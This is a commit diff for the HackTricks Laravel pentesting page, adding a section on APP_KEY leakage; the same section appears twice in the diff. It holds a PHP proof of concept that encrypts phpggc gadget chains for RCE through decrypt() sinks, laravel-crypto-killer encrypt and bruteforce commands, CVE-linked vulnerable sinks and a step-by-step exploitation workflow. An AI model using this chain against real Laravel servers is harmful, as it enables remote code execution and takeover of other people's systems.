Skip to content

Commit 3470d71

Browse files
authored
Merge pull request #1091 from HackTricks-wiki/update_Laravel__APP_KEY_leakage_analysis_20250710_120305
Laravel APP_KEY leakage analysis
2 parents f23cbc9 + a2418b5 commit 3470d71

1 file changed

Lines changed: 180 additions & 1 deletion

File tree

  • src/network-services-pentesting/pentesting-web

src/network-services-pentesting/pentesting-web/laravel.md

Lines changed: 180 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,96 @@
11
# Laravel
22

3+
{{#include /banners/hacktricks-training.md}}
4+
5+
### Laravel SQLInjection
6+
7+
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
8+
9+
---
10+
11+
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
12+
13+
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
14+
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
15+
16+
```json
17+
{
18+
"iv" : "Base64(random 16-byte IV)",
19+
"value": "Base64(ciphertext)",
20+
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
21+
"tag" : "" // only used for AEAD ciphers (GCM)
22+
}
23+
```
24+
25+
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
26+
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
27+
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
28+
29+
Minimal PoC (framework ≥9.x):
30+
```php
31+
use Illuminate\Support\Facades\Crypt;
32+
33+
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
34+
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
35+
```
36+
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
37+
38+
---
39+
40+
## laravel-crypto-killer 🧨
41+
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
42+
43+
```bash
44+
# Encrypt a phpggc chain with a known APP_KEY
45+
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
46+
47+
# Decrypt a captured cookie / token
48+
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
49+
50+
# Try a word-list of keys against a token (offline)
51+
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
52+
```
53+
54+
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
55+
56+
---
57+
58+
## Real-world vulnerable patterns
59+
60+
| Project | Vulnerable sink | Gadget chain |
61+
|---------|-----------------|--------------|
62+
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
63+
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
64+
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
65+
66+
The exploitation workflow is always:
67+
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
68+
2. Generate gadget with **PHPGGC**
69+
3. `laravel_crypto_killer.py encrypt …`
70+
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
71+
72+
---
73+
74+
## Mass APP_KEY discovery via cookie brute-force
75+
76+
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
77+
78+
Key findings of the research published by Synacktiv (2024-2025):
79+
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
80+
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
81+
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
82+
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
83+
84+
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
85+
86+
---
87+
88+
## References
89+
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
90+
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
91+
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
92+
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
93+
394
{{#include ../../banners/hacktricks-training.md}}
495

596

@@ -101,7 +192,95 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
101192
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
102193

103194

104-
{{#include ../../banners/hacktricks-training.md}}
195+
### Laravel SQLInjection
196+
197+
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
198+
199+
---
200+
201+
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
202+
203+
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
204+
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
205+
206+
```json
207+
{
208+
"iv" : "Base64(random 16-byte IV)",
209+
"value": "Base64(ciphertext)",
210+
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
211+
"tag" : "" // only used for AEAD ciphers (GCM)
212+
}
213+
```
214+
215+
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
216+
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
217+
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
218+
219+
Minimal PoC (framework ≥9.x):
220+
```php
221+
use Illuminate\Support\Facades\Crypt;
222+
223+
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
224+
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
225+
```
226+
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
227+
228+
---
229+
230+
## laravel-crypto-killer 🧨
231+
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
232+
233+
```bash
234+
# Encrypt a phpggc chain with a known APP_KEY
235+
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
105236

237+
# Decrypt a captured cookie / token
238+
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
239+
240+
# Try a word-list of keys against a token (offline)
241+
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
242+
```
243+
244+
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
245+
246+
---
247+
248+
## Real-world vulnerable patterns
249+
250+
| Project | Vulnerable sink | Gadget chain |
251+
|---------|-----------------|--------------|
252+
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
253+
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
254+
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
255+
256+
The exploitation workflow is always:
257+
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
258+
2. Generate gadget with **PHPGGC**
259+
3. `laravel_crypto_killer.py encrypt …`
260+
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
261+
262+
---
263+
264+
## Mass APP_KEY discovery via cookie brute-force
265+
266+
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
267+
268+
Key findings of the research published by Synacktiv (2024-2025):
269+
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
270+
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
271+
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
272+
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
273+
274+
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
275+
276+
---
277+
278+
## References
279+
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
280+
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
281+
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
282+
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
283+
284+
{{#include ../../banners/hacktricks-training.md}}
106285

107286

0 commit comments

Comments
 (0)